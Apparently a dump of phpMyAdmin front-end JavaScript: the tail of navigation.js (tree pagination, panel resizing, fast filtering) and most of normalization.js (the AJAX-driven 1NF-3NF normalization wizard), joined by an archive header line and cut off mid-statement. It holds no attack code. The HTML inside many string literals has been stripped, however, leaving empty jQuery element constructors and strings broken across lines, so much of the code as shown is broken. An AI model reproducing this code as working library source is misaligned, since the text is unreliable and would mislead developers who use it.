$naviDbSelect.val(CommonParams.get('db')); return $naviDbSelect.val() === CommonParams.get('db'); }; /** * Handles any requests to change the page in a branch of a tree * * This can be called from link click or select change event handlers * * @param {object} $this A jQuery object that points to the element that * initiated the action of changing the page * * @return {void} */ Navigation.treePagination = function ($this) { var $msgbox = Functions.ajaxShowMessage(); var isDbSelector = $this.closest('div.pageselector').is('.dbselector'); var url = 'index.php?route=/navigation'; var params = 'ajax_request=true'; if ($this[0].tagName === 'A') { params += CommonParams.get('arg_separator') + $this.getPostData(); } else { // tagName === 'SELECT' params += CommonParams.get('arg_separator') + $this.closest('form').serialize(); } var searchClause = Navigation.FastFilter.getSearchClause(); if (searchClause) { params += CommonParams.get('arg_separator') + 'searchClause=' + encodeURIComponent(searchClause); } if (isDbSelector) { params += CommonParams.get('arg_separator') + 'full=true'; } else { var searchClause2 = Navigation.FastFilter.getSearchClause2($this); if (searchClause2) { params += CommonParams.get('arg_separator') + 'searchClause2=' + encodeURIComponent(searchClause2); } } $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success) { Functions.ajaxRemoveMessage($msgbox); var val; if (isDbSelector) { val = Navigation.FastFilter.getSearchClause(); $('#pma_navigation_tree').html(data.message).children('div').show(); if (val) { $('#pma_navigation_tree').find('li.fast_filter input.searchClause').val(val); } } else { var $parent = $this.closest('div.list_container').parent(); val = Navigation.FastFilter.getSearchClause2($this); $this.closest('div.list_container').html($(data.message).children().show()); if (val) { $parent.find('li.fast_filter input.searchClause').val(val); } $parent.find('span.pos2_value').first().text($parent.find('span.pos2_value').last().text()); $parent.find('span.pos3_value').first().text($parent.find('span.pos3_value').last().text()); } } else { Functions.ajaxShowMessage(data.error); Functions.handleRedirectAndReload(data); } Navigation.treeStateUpdate(); }); }; /** * ResizeHandler Custom object that manages the resizing of the navigation * * XXX: Must only be ever instanciated once * XXX: Inside event handlers the 'this' object is accessed as 'event.data.resize_handler' */ Navigation.ResizeHandler = function () { /** * @var {number} panelWidth Used by the collapser to know where to go * back to when uncollapsing the panel */ this.panelWidth = 0; /** * @var {string} left Used to provide support for RTL languages */ this.left = $('html').attr('dir') === 'ltr' ? 'left' : 'right'; /** * Adjusts the width of the navigation panel to the specified value * * @param {number} position Navigation width in pixels * * @return {void} */ this.setWidth = function (position) { var pos = position; if (typeof pos !== 'number') { pos = 240; } var $resizer = $('#pma_navigation_resizer'); var resizerWidth = $resizer.width(); var $collapser = $('#pma_navigation_collapser'); var windowWidth = $(window).width(); $('#pma_navigation').width(pos); $('body').css('margin-' + this.left, pos + 'px'); // Issue #15127 : Adding fixed positioning to menubar // Issue #15570 : Panels on homescreen go underneath of floating menubar $('#floating_menubar').css('margin-' + this.left, $('#pma_navigation').width() + $('#pma_navigation_resizer').width()).css(this.left, 0).css({ 'position': 'fixed', 'top': 0, 'width': '100%', 'z-index': 99 }).append($('#server-breadcrumb')).append($('#topmenucontainer')); // Allow the DOM to render, then adjust the padding on the body setTimeout(function () { $('body').css('padding-top', $('#floating_menubar').outerHeight(true)); }, 2); $('#pma_console').css('margin-' + this.left, pos + resizerWidth + 'px'); $resizer.css(this.left, pos + 'px'); if (pos === 0) { $collapser.css(this.left, pos + resizerWidth).html(this.getSymbol(pos)).prop('title', Messages.strShowPanel); } else if (windowWidth > 768) { $collapser.css(this.left, pos).html(this.getSymbol(pos)).prop('title', Messages.strHidePanel); $('#pma_navigation_resizer').css({ 'width': '3px' }); } else { $collapser.css(this.left, windowWidth - 22).html(this.getSymbol(100)).prop('title', Messages.strHidePanel); $('#pma_navigation').width(windowWidth); $('body').css('margin-' + this.left, '0px'); $('#pma_navigation_resizer').css({ 'width': '0px' }); } setTimeout(function () { $(window).trigger('resize'); }, 4); }; /** * Returns the horizontal position of the mouse, * relative to the outer side of the navigation panel * * @param {MouseEvent} event * * @return {number} Navigation width in pixels */ this.getPos = function (event) { var pos = event.pageX; var windowWidth = $(window).width(); var windowScroll = $(window).scrollLeft(); pos = pos - windowScroll; if (this.left !== 'left') { pos = windowWidth - event.pageX; } if (pos < 0) { pos = 0; } else if (pos + 100 >= windowWidth) { pos = windowWidth - 100; } else { this.panelWidth = 0; } return pos; }; /** * Returns the HTML code for the arrow symbol used in the collapser * * @param {number} width The width of the panel * * @return {string} */ this.getSymbol = function (width) { if (this.left === 'left') { if (width === 0) { return '→'; } else { return '←'; } } else { if (width === 0) { return '←'; } else { return '→'; } } }; /** * Event handler for initiating a resize of the panel * * @param {object} event Event data (contains a reference to Navigation.ResizeHandler) * * @return {void} */ this.mousedown = function (event) { event.preventDefault(); $(document).on('mousemove', { 'resize_handler': event.data.resize_handler }, $.throttle(event.data.resize_handler.mousemove, 4)).on('mouseup', { 'resize_handler': event.data.resize_handler }, event.data.resize_handler.mouseup); $('body').css('cursor', 'col-resize'); }; /** * Event handler for terminating a resize of the panel * * @param {object} event Event data (contains a reference to Navigation.ResizeHandler) * * @return {void} */ this.mouseup = function (event) { $('body').css('cursor', ''); Functions.configSet('NavigationWidth', event.data.resize_handler.getPos(event)); $('#topmenu').menuResizer('resize'); $(document).off('mousemove').off('mouseup'); }; /** * Event handler for updating the panel during a resize operation * * @param {object} event Event data (contains a reference to Navigation.ResizeHandler) * * @return {void} */ this.mousemove = function (event) { event.preventDefault(); if (event.data && event.data.resize_handler) { var pos = event.data.resize_handler.getPos(event); event.data.resize_handler.setWidth(pos); } }; /** * Event handler for collapsing the panel * * @param {object} event Event data (contains a reference to Navigation.ResizeHandler) * * @return {void} */ this.collapse = function (event) { event.preventDefault(); var panelWidth = event.data.resize_handler.panelWidth; var width = $('#pma_navigation').width(); if (width === 0 && panelWidth === 0) { panelWidth = 240; } Functions.configSet('NavigationWidth', panelWidth); event.data.resize_handler.setWidth(panelWidth); event.data.resize_handler.panelWidth = width; }; /** * Event handler for resizing the navigation tree height on window resize * * @return {void} */ this.treeResize = function () { var $nav = $('#pma_navigation'); var $navTree = $('#pma_navigation_tree'); var $navHeader = $('#pma_navigation_header'); var $navTreeContent = $('#pma_navigation_tree_content'); var height = $nav.height() - $navHeader.height(); height = height > 50 ? height : 800; // keep min. height $navTree.height(height); if ($navTreeContent.length > 0) { $navTreeContent.height(height - $navTreeContent.position().top); } else { // TODO: in fast filter search response there is no #pma_navigation_tree_content, needs to be added in php $navTree.css({ 'overflow-y': 'auto' }); } // Set content bottom space because of console $('body').css('margin-bottom', $('#pma_console').height() + 'px'); }; /** * Init handlers for the tree resizers * * @return {void} */ this.treeInit = function () { const isLoadedOnMobile = $(window).width() < 768; // Hide the pma_navigation initially when loaded on mobile if (isLoadedOnMobile) { this.setWidth(0); } // Register the events for the resizer and the collapser $(document).on('mousedown', '#pma_navigation_resizer', { 'resize_handler': this }, this.mousedown); $(document).on('click', '#pma_navigation_collapser', { 'resize_handler': this }, this.collapse); // Add the correct arrow symbol to the collapser $('#pma_navigation_collapser').html(this.getSymbol($('#pma_navigation').width())); // Fix navigation tree height $(window).on('resize', this.treeResize); // need to call this now and then, browser might decide // to show/hide horizontal scrollbars depending on page content width setInterval(this.treeResize, 2000); this.treeResize(); const callbackSuccessGetConfigValue = data => { this.setWidth(data); $('#topmenu').menuResizer('resize'); }; // Skip mobile if (isLoadedOnMobile === false) { // Make an init using the default found value const initialResizeValue = $('#pma_navigation').data('config-navigation-width'); callbackSuccessGetConfigValue(initialResizeValue); } Functions.configGet('NavigationWidth', false, callbackSuccessGetConfigValue); }; this.treeInit(); }; /** * @var {object} FastFilter Handles the functionality that allows filtering * of the items in a branch of the navigation tree */ Navigation.FastFilter = { /** * Construct for the asynchronous fast filter functionality * * @param {object} $this A jQuery object pointing to the list container * which is the nearest parent of the fast filter * @param {string} searchClause The query string for the filter * * @return {void} */ Filter: function ($this, searchClause) { /** * @var {object} $this A jQuery object pointing to the list container * which is the nearest parent of the fast filter */ this.$this = $this; /** * @var {boolean} searchClause The query string for the filter */ this.searchClause = searchClause; /** * @var {object} $clone A clone of the original contents * of the navigation branch before * the fast filter was applied */ this.$clone = $this.clone(); /** * @var {object} xhr A reference to the ajax request that is currently running * @type {JQuery.jqXHR | null} */ this.xhr = null; /** * @var {number} timeout Used to delay the request for asynchronous search */ this.timeout = null; var $filterInput = $this.find('li.fast_filter input.searchClause'); if ($filterInput.length !== 0 && $filterInput.val() !== '' && $filterInput.val() !== $filterInput[0].defaultValue) { this.request(); } }, /** * Gets the query string from the database fast filter form * * @return {string} */ getSearchClause: function () { var retval = ''; var $input = $('#pma_navigation_tree').find('li.fast_filter.db_fast_filter input.searchClause'); if ($input.length && $input.val() !== $input[0].defaultValue) { retval = $input.val(); } return retval; }, /** * Gets the query string from a second level item's fast filter form * The retrieval is done by traversing the navigation tree backwards * * @param $this * * @return {string} */ getSearchClause2: function ($this) { var $filterContainer = $this.closest('div.list_container'); var $filterInput = $([]); if ($filterContainer.find('li.fast_filter:not(.db_fast_filter) input.searchClause').length !== 0) { $filterInput = $filterContainer.find('li.fast_filter:not(.db_fast_filter) input.searchClause'); } var searchClause2 = ''; if ($filterInput.length !== 0 && $filterInput.first().val() !== $filterInput[0].defaultValue) { searchClause2 = $filterInput.val(); } return searchClause2; }, /** * @var hash events A list of functions that are bound to DOM events * at the top of this file */ events: { focus: function () { var $obj = $(this).closest('div.list_container'); if (!$obj.data('fastFilter')) { $obj.data('fastFilter', new Navigation.FastFilter.Filter($obj, $(this).val())); } if ($(this).val() === this.defaultValue) { $(this).val(''); } else { $(this).trigger('select'); } }, blur: function () { if ($(this).val() === '') { $(this).val(this.defaultValue); } var $obj = $(this).closest('div.list_container'); if ($(this).val() === this.defaultValue && $obj.data('fastFilter')) { $obj.data('fastFilter').restore(); } }, keyup: function (event) { var $obj = $(this).closest('div.list_container'); var str = ''; if ($(this).val() !== this.defaultValue && $(this).val() !== '') { $obj.find('div.pageselector').hide(); str = $(this).val(); } /** * FIXME at the server level a value match is done while on * the client side it is a regex match. These two should be aligned */ // regex used for filtering. var regex; try { regex = new RegExp(str, 'i'); } catch (err) { return; } // this is the div that houses the items to be filtered by this filter. var outerContainer; if ($(this).closest('li.fast_filter').is('.db_fast_filter')) { outerContainer = $('#pma_navigation_tree_content'); } else { outerContainer = $obj; } // filters items that are directly under the div as well as grouped in // groups. Does not filter child items (i.e. a database search does // not filter tables) var itemFilter = function ($curr) { $curr.children('ul').children('li.navGroup').each(function () { $(this).children('div.list_container').each(function () { itemFilter($(this)); // recursive }); }); $curr.children('ul').children('li').children('a').not('.container').each(function () { if (regex.test($(this).text())) { $(this).parent().show().removeClass('hidden'); } else { $(this).parent().hide().addClass('hidden'); } }); }; itemFilter(outerContainer); // hides containers that does not have any visible children var containerFilter = function ($curr) { $curr.children('ul').children('li.navGroup').each(function () { var $group = $(this); $group.children('div.list_container').each(function () { containerFilter($(this)); // recursive }); $group.show().removeClass('hidden'); if ($group.children('div.list_container').children('ul').children('li').not('.hidden').length === 0) { $group.hide().addClass('hidden'); } }); }; containerFilter(outerContainer); if ($(this).val() !== this.defaultValue && $(this).val() !== '') { if (!$obj.data('fastFilter')) { $obj.data('fastFilter', new Navigation.FastFilter.Filter($obj, $(this).val())); } else { if (event.keyCode === 13) { $obj.data('fastFilter').update($(this).val()); } } } else if ($obj.data('fastFilter')) { $obj.data('fastFilter').restore(true); } // update filter state var filterName; if ($(this).attr('name') === 'searchClause2') { filterName = $(this).siblings('input[name=aPath]').val(); } else { filterName = 'dbFilter'; } Navigation.filterStateUpdate(filterName, $(this).val()); }, clear: function (event) { event.stopPropagation(); // Clear the input and apply the fast filter with empty input var filter = $(this).closest('div.list_container').data('fastFilter'); if (filter) { filter.restore(); } var value = $(this).prev()[0].defaultValue; $(this).prev().val(value).trigger('keyup'); } } }; /** * Handles a change in the search clause * * @param {string} searchClause The query string for the filter * * @return {void} */ Navigation.FastFilter.Filter.prototype.update = function (searchClause) { if (this.searchClause !== searchClause) { this.searchClause = searchClause; this.request(); } }; /** * After a delay of 250mS, initiates a request to retrieve search results * Multiple calls to this function will always abort the previous request * * @return {void} */ Navigation.FastFilter.Filter.prototype.request = function () { var self = this; if (self.$this.find('li.fast_filter').find('img.throbber').length === 0) { self.$this.find('li.fast_filter').append($('
      ').append($('#pma_navigation_content').find('img.throbber').clone().css({ visibility: 'visible', display: 'block' }))); } if (self.xhr) { self.xhr.abort(); } var params = self.$this.find('> ul > li > form.fast_filter').first().serialize(); if (self.$this.find('> ul > li > form.fast_filter').first().find('input[name=searchClause]').length === 0) { var $input = $('#pma_navigation_tree').find('li.fast_filter.db_fast_filter input.searchClause'); if ($input.length && $input.val() !== $input[0].defaultValue) { params += CommonParams.get('arg_separator') + 'searchClause=' + encodeURIComponent($input.val()); } } self.xhr = $.ajax({ url: 'index.php?route=/navigation&ajax_request=1&server=' + CommonParams.get('server'), type: 'post', dataType: 'json', data: params, complete: function (jqXHR, status) { if (status !== 'abort') { var data = JSON.parse(jqXHR.responseText); self.$this.find('li.fast_filter').find('div.throbber').remove(); if (data && data.results) { self.swap.apply(self, [data.message]); } } } }); }; /** * Replaces the contents of the navigation branch with the search results * * @param {string} list The search results * * @return {void} */ Navigation.FastFilter.Filter.prototype.swap = function (list) { this.$this.html($(list).html()).children().show().end().find('li.fast_filter input.searchClause').val(this.searchClause); this.$this.data('fastFilter', this); }; /** * Restores the navigation to the original state after the fast filter is cleared * * @param {boolean} focus Whether to also focus the input box of the fast filter * * @return {void} */ Navigation.FastFilter.Filter.prototype.restore = function (focus) { if (this.$this.children('ul').first().hasClass('search_results')) { this.$this.html(this.$clone.html()).children().show(); this.$this.data('fastFilter', this); if (focus) { this.$this.find('li.fast_filter input.searchClause').trigger('focus'); } } this.searchClause = ''; this.$this.find('div.pageselector').show(); this.$this.find('div.throbber').remove(); }; /** * Show full name when cursor hover and name not shown completely * * @param {object} $containerELem Container element * * @return {void} */ Navigation.showFullName = function ($containerELem) { $containerELem.find('.hover_show_full').on('mouseenter', function () { /** mouseenter */ var $this = $(this); var thisOffset = $this.offset(); if ($this.text() === '') { return; } var $parent = $this.parent(); if ($parent.offset().left + $parent.outerWidth() < thisOffset.left + $this.outerWidth()) { var $fullNameLayer = $('#full_name_layer'); if ($fullNameLayer.length === 0) { $('body').append('
      '); $('#full_name_layer').on('mouseleave', function () { /** mouseleave */ $(this).addClass('hide').removeClass('hovering'); }).on('mouseenter', function () { /** mouseenter */ $(this).addClass('hovering'); }); $fullNameLayer = $('#full_name_layer'); } $fullNameLayer.removeClass('hide'); $fullNameLayer.css({ left: thisOffset.left, top: thisOffset.top }); $fullNameLayer.html($this.clone()); setTimeout(function () { if (!$fullNameLayer.hasClass('hovering')) { $fullNameLayer.trigger('mouseleave'); } }, 200); } }); };dist/normalization.js000066600000057045151724472050010761 0ustar00/** * @fileoverview events handling from normalization page * @name normalization * * @requires jQuery */ // eslint-disable-next-line no-unused-vars /* global centralColumnList:writable */ // js/functions.js /** * AJAX scripts for normalization * */ var normalizeto = '1nf'; var primaryKey; var dataParsed = null; function appendHtmlColumnsList() { $.post('index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'getColumns': true }, function (data) { if (data.success === true) { $('select[name=makeAtomic]').html(data.message); } }); } function goTo3NFStep1(newTables) { var tables = newTables; if (Object.keys(tables).length === 1) { tables = [CommonParams.get('table')]; } $.post('index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'server': CommonParams.get('server'), 'tables': tables, 'step': '3.1' }, function (data) { $('#page_content').find('h3').html(Messages.str3NFNormalization); $('#mainContent').find('legend').html(data.legendText); $('#mainContent').find('h4').html(data.headText); $('#mainContent').find('p').html(data.subText); $('#mainContent').find('#extra').html(data.extra); $('#extra').find('form').each(function () { var formId = $(this).attr('id'); var colName = $(this).data('colname'); $('#' + formId + ' input[value=\'' + colName + '\']').next().remove(); $('#' + formId + ' input[value=\'' + colName + '\']').remove(); }); $('#mainContent').find('#newCols').html(''); $('.tblFooters').html(''); if (data.subText !== '') { $('').attr({ type: 'button', value: Messages.strDone, class: 'btn btn-primary' }).on('click', function () { processDependencies('', true); }).appendTo('.tblFooters'); } }); } function goTo2NFStep1() { $.post('index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'step': '2.1' }, function (data) { $('#page_content h3').html(Messages.str2NFNormalization); $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(data.subText); $('#mainContent #extra').html(data.extra); $('#mainContent #newCols').html(''); if (data.subText !== '') { $('').attr({ type: 'submit', value: Messages.strDone, class: 'btn btn-primary' }).on('click', function () { processDependencies(data.primary_key); }).appendTo('.tblFooters'); } else { if (normalizeto === '3nf') { $('#mainContent #newCols').html(Messages.strToNextStep); setTimeout(function () { goTo3NFStep1([CommonParams.get('table')]); }, 3000); } } }); } function goToFinish1NF() { if (normalizeto !== '1nf') { goTo2NFStep1(); return true; } $('#mainContent legend').html(Messages.strEndStep); $('#mainContent h4').html('

      ' + Functions.sprintf(Messages.strFinishMsg, Functions.escapeHtml(CommonParams.get('table'))) + '

      '); $('#mainContent p').html(''); $('#mainContent #extra').html(''); $('#mainContent #newCols').html(''); $('.tblFooters').html(''); } // eslint-disable-next-line no-unused-vars function goToStep4() { $.post('index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'step4': true }, function (data) { $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(data.subText); $('#mainContent #extra').html(data.extra); $('#mainContent #newCols').html(''); $('.tblFooters').html(''); for (var pk in primaryKey) { $('#extra input[value=\'' + Functions.escapeJsString(primaryKey[pk]) + '\']').attr('disabled', 'disabled'); } }); } function goToStep3() { $.post('index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'step3': true }, function (data) { $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(data.subText); $('#mainContent #extra').html(data.extra); $('#mainContent #newCols').html(''); $('.tblFooters').html(''); primaryKey = JSON.parse(data.primary_key); for (var pk in primaryKey) { $('#extra input[value=\'' + Functions.escapeJsString(primaryKey[pk]) + '\']').attr('disabled', 'disabled'); } }); } function goToStep2(extra) { $.post('index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'step2': true }, function (data) { $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(data.subText); $('#mainContent #extra,#mainContent #newCols').html(''); $('.tblFooters').html(''); if (data.hasPrimaryKey === '1') { if (extra === 'goToStep3') { $('#mainContent h4').html(Messages.strPrimaryKeyAdded); $('#mainContent p').html(Messages.strToNextStep); } if (extra === 'goToFinish1NF') { goToFinish1NF(); } else { setTimeout(function () { goToStep3(); }, 3000); } } else { // form to select columns to make primary $('#mainContent #extra').html(data.extra); } }); } function goTo2NFFinish(pd) { var tables = {}; for (var dependson in pd) { tables[dependson] = $('#extra input[name="' + dependson + '"]').val(); } var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'pd': JSON.stringify(pd), 'newTablesName': JSON.stringify(tables), 'createNewTables2NF': 1 }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async: false, success: function (data) { if (data.success === true) { if (data.queryError === false) { if (normalizeto === '3nf') { $('#pma_navigation_reload').trigger('click'); goTo3NFStep1(tables); return true; } $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(''); $('#mainContent #extra').html(''); $('.tblFooters').html(''); } else { Functions.ajaxShowMessage(data.extra, false); } $('#pma_navigation_reload').trigger('click'); } else { Functions.ajaxShowMessage(data.error, false); } } }); } function goTo3NFFinish(newTables) { for (var table in newTables) { for (var newtbl in newTables[table]) { var updatedname = $('#extra input[name="' + newtbl + '"]').val(); newTables[table][updatedname] = newTables[table][newtbl]; if (updatedname !== newtbl) { delete newTables[table][newtbl]; } } } var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'server': CommonParams.get('server'), 'newTables': JSON.stringify(newTables), 'createNewTables3NF': 1 }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async: false, success: function (data) { if (data.success === true) { if (data.queryError === false) { $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(''); $('#mainContent #extra').html(''); $('.tblFooters').html(''); } else { Functions.ajaxShowMessage(data.extra, false); } $('#pma_navigation_reload').trigger('click'); } else { Functions.ajaxShowMessage(data.error, false); } } }); } var backup = ''; function goTo2NFStep2(pd, primaryKey) { $('#newCols').html(''); $('#mainContent legend').html(Messages.strStep + ' 2.2 ' + Messages.strConfirmPd); $('#mainContent h4').html(Messages.strSelectedPd); $('#mainContent p').html(Messages.strPdHintNote); var extra = '
      '; var pdFound = false; for (var dependson in pd) { if (dependson !== primaryKey) { pdFound = true; extra += '

      ' + Functions.escapeHtml(dependson) + ' -> ' + Functions.escapeHtml(pd[dependson].toString()) + '

      '; } } if (!pdFound) { extra += '

      ' + Messages.strNoPdSelected + '

      '; extra += '
      '; } else { extra += '
      '; var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'pd': JSON.stringify(pd), 'getNewTables2NF': 1 }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async: false, success: function (data) { if (data.success === true) { extra += data.message; } else { Functions.ajaxShowMessage(data.error, false); } } }); } $('#mainContent #extra').html(extra); $('.tblFooters').html(''); $('#goTo2NFFinish').on('click', function () { goTo2NFFinish(pd); }); } function goTo3NFStep2(pd, tablesTds) { $('#newCols').html(''); $('#mainContent legend').html(Messages.strStep + ' 3.2 ' + Messages.strConfirmTd); $('#mainContent h4').html(Messages.strSelectedTd); $('#mainContent p').html(Messages.strPdHintNote); var extra = '
      '; var pdFound = false; for (var table in tablesTds) { for (var i in tablesTds[table]) { var dependson = tablesTds[table][i]; if (dependson !== '' && dependson !== table) { pdFound = true; extra += '

      ' + Functions.escapeHtml(dependson) + ' -> ' + Functions.escapeHtml(pd[dependson].toString()) + '

      '; } } } if (!pdFound) { extra += '

      ' + Messages.strNoTdSelected + '

      '; extra += '
      '; } else { extra += '
      '; var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'tables': JSON.stringify(tablesTds), 'server': CommonParams.get('server'), 'pd': JSON.stringify(pd), 'getNewTables3NF': 1 }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async: false, success: function (data) { dataParsed = data; if (data.success === true) { extra += dataParsed.html; } else { Functions.ajaxShowMessage(data.error, false); } } }); } $('#mainContent #extra').html(extra); $('.tblFooters').html(''); $('#goTo3NFFinish').on('click', function () { if (!pdFound) { goTo3NFFinish([]); } else { goTo3NFFinish(dataParsed.newTables); } }); } function processDependencies(primaryKey, isTransitive) { var pk = primaryKey; var pd = {}; var tablesTds = {}; var dependsOn; pd[pk] = []; $('#extra form').each(function () { var tblname; if (isTransitive === true) { tblname = $(this).data('tablename'); pk = tblname; if (!(tblname in tablesTds)) { tablesTds[tblname] = []; } tablesTds[tblname].push(pk); } var formId = $(this).attr('id'); $('#' + formId + ' input[type=checkbox]:not(:checked)').prop('checked', false); dependsOn = ''; $('#' + formId + ' input[type=checkbox]:checked').each(function () { dependsOn += $(this).val() + ', '; $(this).attr('checked', 'checked'); }); if (dependsOn === '') { dependsOn = pk; } else { dependsOn = dependsOn.slice(0, -2); } if (!(dependsOn in pd)) { pd[dependsOn] = []; } pd[dependsOn].push($(this).data('colname')); if (isTransitive === true) { if (!(tblname in tablesTds)) { tablesTds[tblname] = []; } if ($.inArray(dependsOn, tablesTds[tblname]) === -1) { tablesTds[tblname].push(dependsOn); } } }); backup = $('#mainContent').html(); if (isTransitive === true) { goTo3NFStep2(pd, tablesTds); } else { goTo2NFStep2(pd, pk); } return false; } function moveRepeatingGroup(repeatingCols) { var newTable = $('input[name=repeatGroupTable]').val(); var newColumn = $('input[name=repeatGroupColumn]').val(); if (!newTable) { $('input[name=repeatGroupTable]').trigger('focus'); return false; } if (!newColumn) { $('input[name=repeatGroupColumn]').trigger('focus'); return false; } var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'repeatingColumns': repeatingCols, 'newTable': newTable, 'newColumn': newColumn, 'primary_columns': primaryKey.toString() }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async: false, success: function (data) { if (data.success === true) { if (data.queryError === false) { goToStep3(); } Functions.ajaxShowMessage(data.message, false); $('#pma_navigation_reload').trigger('click'); } else { Functions.ajaxShowMessage(data.error, false); } } }); } AJAX.registerTeardown('normalization.js', function () { $('#extra').off('click', '#selectNonAtomicCol'); $('#splitGo').off('click'); $('.tblFooters').off('click', '#saveSplit'); $('#extra').off('click', '#addNewPrimary'); $('.tblFooters').off('click', '#saveNewPrimary'); $('#extra').off('click', '#removeRedundant'); $('#mainContent p').off('click', '#createPrimaryKey'); $('#mainContent').off('click', '#backEditPd'); $('#mainContent').off('click', '#showPossiblePd'); $('#mainContent').off('click', '.pickPd'); }); AJAX.registerOnload('normalization.js', function () { var selectedCol; normalizeto = $('#mainContent').data('normalizeto'); $('#extra').on('click', '#selectNonAtomicCol', function () { if ($(this).val() === 'no_such_col') { goToStep2(); } else { selectedCol = $(this).val(); } }); $('#splitGo').on('click', function () { if (!selectedCol || selectedCol === '') { return false; } var numField = $('#numField').val(); $.post('index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'splitColumn': true, 'numFields': numField }, function (data) { if (data.success === true) { $('#newCols').html(data.message); $('.default_value').hide(); $('.enum_notice').hide(); $('').attr({ type: 'submit', id: 'saveSplit', value: Messages.strSave, class: 'btn btn-primary' }).appendTo('.tblFooters'); $('').attr({ type: 'submit', id: 'cancelSplit', value: Messages.strCancel, class: 'btn btn-secondary' }).on('click', function () { $('#newCols').html(''); $(this).parent().html(''); }).appendTo('.tblFooters'); } }); return false; }); $('.tblFooters').on('click', '#saveSplit', function () { centralColumnList = []; if ($('#newCols #field_0_1').val() === '') { $('#newCols #field_0_1').trigger('focus'); return false; } var argsep = CommonParams.get('arg_separator'); var datastring = $('#newCols :input').serialize(); datastring += argsep + 'ajax_request=1' + argsep + 'do_save_data=1' + argsep + 'field_where=last'; $.post('index.php?route=/table/add-field', datastring, function (data) { if (data.success) { $.post('index.php?route=/sql', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'dropped_column': selectedCol, 'purge': 1, 'sql_query': 'ALTER TABLE `' + CommonParams.get('table') + '` DROP `' + selectedCol + '`;', 'is_js_confirmed': 1 }, function (data) { if (data.success === true) { appendHtmlColumnsList(); $('#newCols').html(''); $('.tblFooters').html(''); } else { Functions.ajaxShowMessage(data.error, false); } selectedCol = ''; }); } else { Functions.ajaxShowMessage(data.error, false); } }); }); $('#extra').on('click', '#addNewPrimary', function () { $.post('index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'addNewPrimary': true }, function (data) { if (data.success === true) { $('#newCols').html(data.message); $('.default_value').hide(); $('.enum_notice').hide(); $('').attr({ type: 'submit', id: 'saveNewPrimary', value: Messages.strSave, class: 'btn btn-primary' }).appendTo('.tblFooters'); $('').attr({ type: 'submit', id: 'cancelSplit', value: Messages.strCancel, class: 'btn btn-secondary' }).on('click', function () { $('#newCols').html(''); $(this).parent().html(''); }).appendTo('.tblFooters'); } else { Functions.ajaxShowMessage(data.error, false); } }); return false; }); $('.tblFooters').on('click', '#saveNewPrimary', function () { var datastring = $('#newCols :input').serialize(); var argsep = CommonParams.get('arg_separator'); datastring += argsep + 'field_key[0]=primary_0' + argsep + 'ajax_request=1' + argsep + 'do_save_data=1' + argsep + 'field_where=last'; $.post('index.php?route=/table/add-field', datastring, function (data) { if (data.success === true) { $('#mainContent h4').html(Messages.strPrimaryKeyAdded); $('#mainContent p').html(Messages.strToNextStep); $('#mainContent #extra').html(''); $('#mainContent #newCols').html(''); $('.tblFooters').html(''); setTimeout(function () { goToStep3(); }, 2000); } else { Functions.ajaxShowMessage(data.error, false); } }); }); $('#extra').on('click', '#removeRedundant', function () { var dropQuery = 'ALTER TABLE `' + CommonParams.get('table') + '` '; $('#extra input[type=checkbox]:checked').each(function () { dropQuery += 'DROP `' + $(this).val() + '`, '; }); dropQuery = dropQuery.slice(0, -2); $.post('index.php?route=/sql', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'sql_query': dropQuery, 'is_js_confirmed': 1 }, function (data) { if (data.success === true) { goToStep2('goToFinish1NF'); } else { Functions.ajaxShowMessage(data.error, false); } }); }); $('#extra').on('click', '#moveRepeatingGroup', function () { var repeatingCols = ''; $('#extra input[type=checkbox]:checked').each(function () { repeatingCols += $(this).val() + ', '; }); if (repeatingCols !== '') { var newColName = $('#extra input[type=checkbox]:checked').first().val(); repeatingCols = repeatingCols.slice(0, -2); var confirmStr = Functions.sprintf(Messages.strMoveRepeatingGroup, Functions.escapeHtml(repeatingCols), Functions.escapeHtml(CommonParams.get('table'))); confirmStr += '' + '( ' + Functions.escapeHtml(primaryKey.toString()) + ', )' + ''; $('#newCols').html(confirmStr); $('').attr({ type: 'submit', value: 